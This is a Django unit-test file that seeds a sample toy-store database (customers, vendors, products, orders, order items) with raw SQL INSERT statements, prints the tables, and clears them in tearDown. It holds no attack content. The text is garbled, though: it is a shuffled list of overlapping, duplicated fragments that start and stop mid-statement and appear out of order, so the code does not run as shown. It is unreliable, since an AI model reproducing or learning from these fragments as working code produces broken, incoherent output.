OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008,", "cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000004',", "order_item, prod_id, quantity, item_price) \\ VALUES(20007, 3, 'BNBG02', 100, 2.99);\")", "8.99, '12 inch teddy bear, comes with cap and jacket');\")", "Us','123 Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "bear', 11.99, '18 inch teddy bear, comes with cap and", "4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "# __author__ = '__MeGustas__' from django.test import TestCase from django.db", "cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000005', 'The", "cust_country, cust_contact) \\ VALUES('1000000005', 'The Toy Store', '4545 53rd Street',", "cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All',", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333',", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears R Us','123 Main Street','Bear", "OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "4.99, '18 inch Raggedy Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008,", "\\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "your tests here. class TestHealthFile(TestCase): def setUp(self): cursor = connection.cursor()", "Raggedy Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for i in Customers.objects.all(): print(i.to_dict())", "comes with cap and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "cust_email) \\ VALUES('1000000003', 'Fun4All', '1 Sunny Place', 'Muncie', 'IN', '42222',", "VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99, '18 inch Raggedy Ann doll');\")", "INTO Orders(order_num, order_date, cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\") # Populate", "5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006,", "'BRS01', '18 inch teddy bear', 11.99, '18 inch teddy bear,", "bean bag toy', 3.49, 'Bird bean bag toy, eggs are", "2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "VALUES('BR03', 'BRS01', '18 inch teddy bear', 11.99, '18 inch teddy", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR02', 'BRS01', '12 inch teddy", "Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000005',", "worms with which to feed it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 2, 'BNBG02',", "toy', 3.49, 'Fish bean bag toy, complete with bean bag", "Lake Drive', 'Columbus', 'OH', '43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO", "with bean bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "Drive', 'Columbus', 'OH', '43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id,", "vend_zip, vend_country) \\ VALUES('BRS01','Bears R Us','123 Main Street','Bear Town','MI','44444', 'USA');\")", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR03', 'BRS01', '18", "'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip,", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann',", "cursor = connection.cursor() # Populate Customers table cursor.execute(\"INSERT INTO Customers(cust_id,", "cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT", "10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006,", "here. class TestHealthFile(TestCase): def setUp(self): cursor = connection.cursor() # Populate", "York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "VALUES('1000000005', 'The Toy Store', '4545 53rd Street', 'Chicago', 'IL', '54545',", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish", "'42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city,", "crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL02',", "Populate Orders table cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20005,", "Orders(order_num, order_date, cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num,", "20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "with bean bag worms with which to feed it');\") cursor.execute(\"INSERT", "prod_id, quantity, item_price) \\ VALUES(20007, 3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT", "import TestCase from django.db import connection from tutorials.create_table.models import *", "High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "'1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\")", "cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000001', 'Village", "\\ VALUES('1000000001', 'Village Toys', '200 Maple Lane', 'Detroit', 'MI', '44444',", "vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\")", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris',", "INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email)", "bag toy', 3.49, 'Bird bean bag toy, eggs are not", "10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "cust_country, cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All', '1 Sunny Place', 'Muncie',", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 3, 'BNBG02',", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 4, 'BNBG02', 10,", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 2, 'BR03',", "'Raggedy Ann', 4.99, '18 inch Raggedy Ann doll');\") cursor.execute(\"INSERT INTO", "bean bag toy, complete with bean bag worms with which", "Lane', 'Detroit', 'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id,", "\\ VALUES('1000000004', 'Fun4All', '829 Riverside Drive', 'Phoenix', 'AZ', '88888', 'USA',", "prod_desc) \\ VALUES('BR01', 'BRS01', '8 inch teddy bear', 5.99, '8", "cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000005', 'The Toy Store', '4545", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR03', 'BRS01', '18 inch teddy", "Place', 'Muncie', 'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id,", "i in Customers.objects.all(): print(i.to_dict()) for i in Vendors.objects.all(): print(i.to_dict()) for", "'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state,", "'2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20009, '2020-02-08',", "\\ VALUES(20006, 1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun", "2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009,", "South Lake Drive', 'Columbus', 'OH', '43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT", "prod_id, quantity, item_price) \\ VALUES(20006, 1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT", "2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "prod_id, quantity, item_price) \\ VALUES(20006, 3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 2, 'BNBG02', 250,", "def test_customers(self): for i in Customers.objects.all(): print(i.to_dict()) for i in", "INTO Orders(order_num, order_date, cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO", "cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000001', 'Village Toys',", "'18 inch teddy bear, comes with cap and jacket');\") cursor.execute(\"INSERT", "VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\") # Populate Products", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 2,", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR01', 'BRS01', '8 inch teddy", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR03', 'BRS01', '18 inch", "\\ VALUES(20009, '2020-02-08', '1000000001');\") # Populate OrderItems table cursor.execute(\"INSERT INTO", "item_price) \\ VALUES(20008, 1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 1, 'BR01', 100,", "VALUES(20009, 3, 'BNBG03', 250, 2.49);\") def tearDown(self): # Clean up", "VALUES(20009, 2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "item_price) \\ VALUES(20006, 1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "'Columbus', 'OH', '43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name,", "item_price) \\ VALUES(20008, 2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "which to feed it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "'Kids Place', '333 South Lake Drive', 'Columbus', 'OH', '43333', 'USA',", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun and Games','42 Galaxy Road','London',", "NULL,'45678', 'France');\") # Populate Products table cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "prod_name, prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird bean bag toy',", "bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll House Inc.','555", "item_price) \\ VALUES(20005, 1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All', '829 Riverside Drive',", "'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "\\ VALUES('BRS01','Bears R Us','123 Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO", "3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "Clean up run after every test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete()", "and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "bean bag worms with which to feed it');\") cursor.execute(\"INSERT INTO", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 3, 'BNBG03',", "Games','42 Galaxy Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "3, 'BNBG03', 250, 2.49);\") def tearDown(self): # Clean up run", "item_price) \\ VALUES(20009, 1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "-*- # __author__ = '__MeGustas__' from django.test import TestCase from", "in Vendors.objects.all(): print(i.to_dict()) for i in Orders.objects.all(): print(i.to_dict()) for i", "cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000001', 'Village Toys', '200 Maple", "table cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\")", "et ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\") # Populate Products table", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 1,", "'8 inch teddy bear', 5.99, '8 inch teddy bear, comes", "'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "\\ VALUES(20005, 2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "vend_zip, vend_country) \\ VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT", "prod_id, quantity, item_price) \\ VALUES(20008, 2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT", "prod_desc) \\ VALUES('BR02', 'BRS01', '12 inch teddy bear', 8.99, '12", "\\ VALUES(20009, 1, 'BNBG01', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'18 inch Raggedy Ann doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear", "'18 inch teddy bear', 11.99, '18 inch teddy bear, comes", "11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007,", "quantity, item_price) \\ VALUES(20006, 2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO", "Street', 'Chicago', 'IL', '54545', 'USA', '<NAME>');\") # Populate Vendors table", "250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All', '1 Sunny Place',", "2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "Orders table cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20005, '2020-05-01',", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets et ours','1", "3.49, 'Bird bean bag toy, eggs are not included');\") cursor.execute(\"INSERT", "\\ VALUES(20008, 1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "connection.cursor() # Populate Customers table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address,", "vend_country) \\ VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO", "quantity, item_price) \\ VALUES(20007, 5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO", "bean bag toy, comes with bean bag carrots');\") cursor.execute(\"INSERT INTO", "'DLL01', 'Fish bean bag toy', 3.49, 'Fish bean bag toy,", "table cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR01',", "Store', '4545 53rd Street', 'Chicago', 'IL', '54545', 'USA', '<NAME>');\") #", "3.49, 'Rabbit bean bag toy, comes with bean bag carrots');\")", "VALUES(20006, 3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "item_price) \\ VALUES(20008, 3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "royal garments and crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "'54545', 'USA', '<NAME>');\") # Populate Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id,", "INTO Orders(order_num, order_date, cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO", "1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "'FNG01', 'Queen doll', 9.49, '12 inch queen doll with royal", "'200 Maple Lane', 'Detroit', 'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears R Us','123", "10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 3, 'BR03',", "order_item, prod_id, quantity, item_price) \\ VALUES(20008, 1, 'RGAN01', 5, 4.99);\")", "\\ VALUES('RYL01', 'FNG01', 'King doll', 9.49, '12 inch king doll", "\\ VALUES(20008, 3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'BRS01', '12 inch teddy bear', 8.99, '12 inch teddy bear,", "Orders(order_num, order_date, cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\") # Populate OrderItems", "'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact,", "TestHealthFile(TestCase): def setUp(self): cursor = connection.cursor() # Populate Customers table", "feed it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "with royal garments and crown');\") # Populate Orders table cursor.execute(\"INSERT", "'2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20006, '2020-01-12',", "cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\") # Populate OrderItems table cursor.execute(\"INSERT", "\\ VALUES('1000000002', 'Kids Place', '333 South Lake Drive', 'Columbus', 'OH',", "quantity, item_price) \\ VALUES(20005, 2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO", "bear', 8.99, '12 inch teddy bear, comes with cap and", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01',", "prod_id, quantity, item_price) \\ VALUES(20009, 2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT", "# Clean up run after every test method. Customers.objects.all().delete() Vendors.objects.all().delete()", "\\ VALUES('RYL02', 'FNG01', 'Queen doll', 9.49, '12 inch queen doll", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 1, 'BR01',", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun and Games','42 Galaxy", "'France');\") # Populate Products table cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR03', 'BRS01',", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 4, 'BNBG03', 100,", "vend_country) \\ VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\") #", "cust_contact) \\ VALUES('1000000005', 'The Toy Store', '4545 53rd Street', 'Chicago',", "2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird bean bag toy', 3.49,", "bag toy, comes with bean bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id,", "NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "eggs are not included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "bean bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen doll', 9.49, '12 inch", "\\ VALUES(20007, 4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "Vendors.objects.all(): print(i.to_dict()) for i in Orders.objects.all(): print(i.to_dict()) for i in", "quantity, item_price) \\ VALUES(20005, 1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO", "cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All',", "'Phoenix', 'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 3, 'BNBG01', 10,", "'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 1, 'BNBG01', 250,", "\\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball", "vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun and Games','42 Galaxy Road','London', NULL,'N16", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears R", "'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01',", "'King doll', 9.49, '12 inch king doll with royal garments", "Emporium','500 Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "import connection from tutorials.create_table.models import * # Create your tests", "\\ VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id,", "Toys', '200 Maple Lane', 'Detroit', 'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\")", "Populate Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "bag toy', 3.49, 'Fish bean bag toy, complete with bean", "VALUES('1000000004', 'Fun4All', '829 Riverside Drive', 'Phoenix', 'AZ', '88888', 'USA', '<NAME>',", "are not included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "'1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\")", "1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "quantity, item_price) \\ VALUES(20006, 1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO", "order_date, cust_id) \\ VALUES(20009, '2020-02-08', '1000000001');\") # Populate OrderItems table", "VALUES(20007, 3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All', '1 Sunny Place', 'Muncie', 'IN',", "from django.test import TestCase from django.db import connection from tutorials.create_table.models", "prod_name, prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit bean bag toy',", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 1,", "3.49, 'Fish bean bag toy, complete with bean bag worms", "vend_country) \\ VALUES('FNG01','Fun and Games','42 Galaxy Road','London', NULL,'N16 6PS', 'England');\")", "Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000002',", "'2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20007, '2020-01-30',", "Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for i in Customers.objects.all():", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 2, 'BNBG01',", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500 Park Street','Anytown','OH','44333', 'USA');\")", "Toy Store', '4545 53rd Street', 'Chicago', 'IL', '54545', 'USA', '<NAME>');\")", "6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01', 'King doll',", "1, 'BR01', 20, 5.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000", "\\ VALUES(20008, 4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "\\ VALUES('BNBG01', 'DLL01', 'Fish bean bag toy', 3.49, 'Fish bean", "11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007,", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01',", "quantity, item_price) \\ VALUES(20008, 1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT INTO", "i in Orders.objects.all(): print(i.to_dict()) for i in OrderItems.objects.all(): print(i.to_dict()) for", "in Orders.objects.all(): print(i.to_dict()) for i in OrderItems.objects.all(): print(i.to_dict()) for i", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 1,", "cust_contact) \\ VALUES('1000000002', 'Kids Place', '333 South Lake Drive', 'Columbus',", "VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20007,", "order_item, prod_id, quantity, item_price) \\ VALUES(20009, 3, 'BNBG03', 250, 2.49);\")", "tests here. class TestHealthFile(TestCase): def setUp(self): cursor = connection.cursor() #", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 2, 'BR03', 100,", "prod_id, quantity, item_price) \\ VALUES(20005, 2, 'BR03', 100, 10.99);\") cursor.execute(\"INSERT", "100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "\\ VALUES(20006, 2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "toy, complete with bean bag worms with which to feed", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 5, 'RGAN01',", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 1, 'BNBG01',", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 1, 'BR03', 50,", "teddy bear, comes with cap and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id,", "\\ VALUES(20007, 1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'Bird bean bag toy', 3.49, 'Bird bean bag toy, eggs", "'12 inch queen doll with royal garments and crown');\") #", "'BRS01', '8 inch teddy bear', 5.99, '8 inch teddy bear,", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR01', 'BRS01', '8 inch", "'Chicago', 'IL', '54545', 'USA', '<NAME>');\") # Populate Vendors table cursor.execute(\"INSERT", "Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR03',", "VALUES('1000000002', 'Kids Place', '333 